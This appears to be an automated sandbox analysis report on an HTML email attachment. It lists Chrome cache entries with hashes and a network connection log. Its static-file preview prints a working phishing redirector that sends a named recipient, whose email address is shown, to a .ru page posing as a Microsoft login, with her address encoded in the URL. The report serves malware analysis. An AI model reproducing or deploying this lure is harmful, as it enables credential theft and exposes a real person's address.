a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113769
Category:	dropped
Size (bytes):	35169
Entropy (8bit):	7.993210932978764
Encrypted:	true
SSDEEP:	768:j6PfHtcQsNe72gH9i6EndaklFS0VBrXFm4soze9NJthWnXpjTbI8PgzK:5xoCgH9i6EFFhrXFmUzVXtbI8YO
MD5:	57EADECAC2A031883A702F6B12A14502
SHA1:	3C1E4F5ABE11775DD678085EAC97029DF618A9F7
SHA-256:	C76276A58DFB0E4D68D277526E5F05EE357E13957B4C91BE2C74BE7CD20B065E
SHA-512:	D98AC263512C6CDB0A522C8B550F4CA8B901F620A1ED416C49163B28E0D5D08EA9605BF681F9F0C5567EB244BBD319D6596C6B46E860F48AD5CE31154DD2CA5A
Malicious:	false
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....p+Lg.t9I..P./ap......o9Wx.._{....k..,...............................7.\|..t...Ax.7..b..v..v.m-...~v...:{...r..._........,...A........:..x.>.y..u.....N..f...).......<?._.f..C.....%..@..~....`P../.Q4..IQ.' ...e)'.q..Y:...%.z..x..k.z.../....@.D.r?......GP....`..o.'..~1.....&.HJ.`.@.}mV../8.b.m..guo.H_.7Qv.....dQ.....-.NE......G:.U'.....~.1.....H.k...O..dk.d.\|.7..x\/..i^.Y..Q_/.`..i.&...-.......P...yEv....,....'.^...X.......YK.".....l.r.ax.....<...1!..4GQ.M_.....L..F..51.!.....].....y...(...=O5?.nT...~

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 58358
Category:	downloaded
Size (bytes):	16554
Entropy (8bit):	7.986295720448826
Encrypted:	false
SSDEEP:	384:/SZSwuDbw8MIs2AVg6Vdz4LOddd5jOKHjCVx095O:/SZFuDbck6Vdz3R5nHjN9k
MD5:	ED8C452BA600B5D01523AE92EC363BDA
SHA1:	26DE5667109976A5A0D26723B277471DF8A85207
SHA-256:	3320F5D52A68637AEF39C696BF824716B206019D8FFBC4B3A23A6F0E9D8DC44C
SHA-512:	C784CD9BC0A858A7A309A9B2EDB8A9B1407751BA2CC68AE6420B72A2FE0135C131D9B1FBDCEC8760C2EC4AC9597A9E46B4BCBDDFB9E360DC92C281F924878F7F
Malicious:	false
URL:	https://aadcdn.msauth.net/ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_58kdvbzctdjk48yetaekng2.js
Preview:	...........}Ms#G.....u.O=.>...4.Ap.oH....)$....`/.n...p..8...;.j.\|..G_\|.O.........n....................l.Ob/.............l....q?..:...wI\|Z.a..........[...M......P..J6..t...{.......`.~p....I.g..k<..!..4ix..U.Xt......i8....{.}..ox{....9.wb..h.q.qi...?.....qg.D.X..b..?.bOD...x.B1..X..`.N.^1..c.I.......h0.zs......q...to.b<...F...7...p.M. .fq..L........._..$./...Z#...w.8s}h3.;j./...\.!....q....-..`.M.....X..\..."...x!.A....e..pK.`y..b...4....b1......_.z.......h.A...w&....#!..........?.s.V....G.._...J...4W.Vp........_J....t.._.....+(....wg..........I...E..~,..`[./.4..o...4....y..2.\|..xr...ID...&..B.....S....M...5nEs2..'..mq.\|b.....Pbi ...[_Lb.Z.....U`./{z.....u..[,.7....)P...[....T\|...a!.!...\d..m..Zc..DDQ.....j....ts..!4.......)..a0.P.....7...{....)..QL..X.E. ...c.I:.3_......y......m../..i.....V...i.....5..W_b...b~.b.E]c...2..[...B.TH...C.k...~..sOf.2.2'..mAN.0....3wr..wC........2.!b....^.H.#.e.ck./~...9?../....a.%4c/b..H..9n.Y.2..?....

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	5.487561615082075
TrID:
File name:	VN_MSG-Splcenter.html
File size:	220 bytes
MD5:	5ee5055a84f1440673068017fc0e1366
SHA1:	40c48343e83413c834d2883dc96787d495a1f8cf
SHA256:	82700d881b0d4da9ad8fc7bd6e939c61ceb8f5e472efadc219d77d653e640313
SHA512:	38babf24b8fbef420836e32c52de28391466ebf04b146eb3aa0db94ea49b1d5a5de9acfe83152e66be0f527797c8e49d68b46a671d484d7a3433c011e9eafd7e
SSDEEP:	6:7AqJXIbQY/MPV8YM3C5kRSmmHKV9K4050tBDAb:EqZI8wMPX6WxH+9K+lAb
TLSH:	BCD0A7E95F5389C707708159D8339588A52E808B1509C595F9D198285704B8437C32E4
File Content Preview:	<script type="text/JavaScript">.. var getEmail123cc775 = "cassie.plunkett@splcenter.org";.. setTimeout(`location.href = "https://T8ja.vyhbxyts.ru/3cDRxGja/#Y2Fzc2llLnBsdW5rZXR0QHNwbGNlbnRlci5vcmc=";`,0);..</script>

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 6, 2025 22:54:41.110374928 CET	49675	443	192.168.2.5	23.1.237.91
Mar 6, 2025 22:54:41.110506058 CET	49674	443	192.168.2.5	23.1.237.91
Mar 6, 2025 22:54:41.235362053 CET	49673	443	192.168.2.5	23.1.237.91
Mar 6, 2025 22:54:45.791872025 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:45.791918039 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:45.792016029 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:45.793358088 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:45.793375969 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:46.121289015 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:46.121315002 CET	443	49712	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:46.121406078 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:46.122164965 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:46.122179985 CET	443	49712	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.342593908 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.343000889 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.343017101 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.345104933 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.345402956 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.347117901 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.347117901 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.347204924 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.347470999 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.347501993 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.347501993 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.347511053 CET	443	49707	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.347524881 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.347593069 CET	49707	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.348006010 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.348092079 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.348170042 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.348509073 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.348543882 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.690972090 CET	443	49712	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.691299915 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.691309929 CET	443	49712	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.694839001 CET	443	49712	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.694909096 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695211887 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695224047 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695267916 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695385933 CET	443	49712	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.695446014 CET	49712	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695580959 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695667028 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:47.695749044 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695909977 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:47.695945978 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.173569918 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.173924923 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.173985958 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.175637007 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.175719023 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.177176952 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.177268028 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.177655935 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.177671909 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.217549086 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.540725946 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.541160107 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.541259050 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.542190075 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.542280912 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.542566061 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.542639017 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.594448090 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.594528913 CET	443	49714	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.642261028 CET	49714	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.854365110 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.854572058 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.854648113 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.854660034 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.854687929 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.854789019 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.854842901 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.854850054 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.854891062 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.858848095 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.865298986 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.865464926 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.865550041 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.865557909 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.865602970 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.872111082 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.919954062 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.920017004 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.948175907 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.948251963 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.948261976 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.948364019 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.948452950 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.948513985 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.948520899 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.948563099 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.951761961 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.958322048 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.958400965 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.958406925 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.964921951 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.964979887 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.964984894 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.971584082 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.971669912 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.971741915 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.971748114 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.971791983 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.971796989 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.978491068 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.978549957 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.978555918 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.984302998 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.984380007 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.984385967 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.990345001 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.990425110 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.990431070 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.996368885 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:49.996433020 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:49.996438980 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.002898932 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.003499031 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.003504992 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.041970968 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.042059898 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.042073011 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.042227983 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.042546034 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.042558908 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.043057919 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.043081045 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.043135881 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.043152094 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.045860052 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.045933962 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.045947075 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.046005964 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.046040058 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.046061993 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.046099901 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.052489996 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.052586079 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.052592039 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.061048985 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.061136007 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.061142921 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.066134930 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.066230059 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.066236019 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.066281080 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.071156025 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.076378107 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.076476097 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.076483011 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.076530933 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.086291075 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.086406946 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.090899944 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.091007948 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.099561930 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.099658012 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.103696108 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.103795052 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.111624002 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.111702919 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.115314007 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.115411043 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.118577003 CET	49716	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:54:50.118623018 CET	443	49716	172.217.16.196	192.168.2.5
Mar 6, 2025 22:54:50.118684053 CET	49716	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:54:50.118894100 CET	49716	443	192.168.2.5	172.217.16.196
Mar 6, 2025 22:54:50.118910074 CET	443	49716	172.217.16.196	192.168.2.5
Mar 6, 2025 22:54:50.136028051 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.136136055 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.136550903 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.136627913 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.136872053 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.136935949 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.139844894 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.139935017 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.140254021 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.140325069 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.142527103 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.142610073 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.146696091 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.146790981 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.148884058 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.148999929 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.153137922 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.153235912 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.155268908 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.155358076 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.157455921 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.157538891 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.161573887 CET	443	49713	188.114.97.3	192.168.2.5
Mar 6, 2025 22:54:50.161664009 CET	49713	443	192.168.2.5	188.114.97.3
Mar 6, 2025 22:54:50.165280104 CET	443	49713	188.114.97.3	192.168.2.5
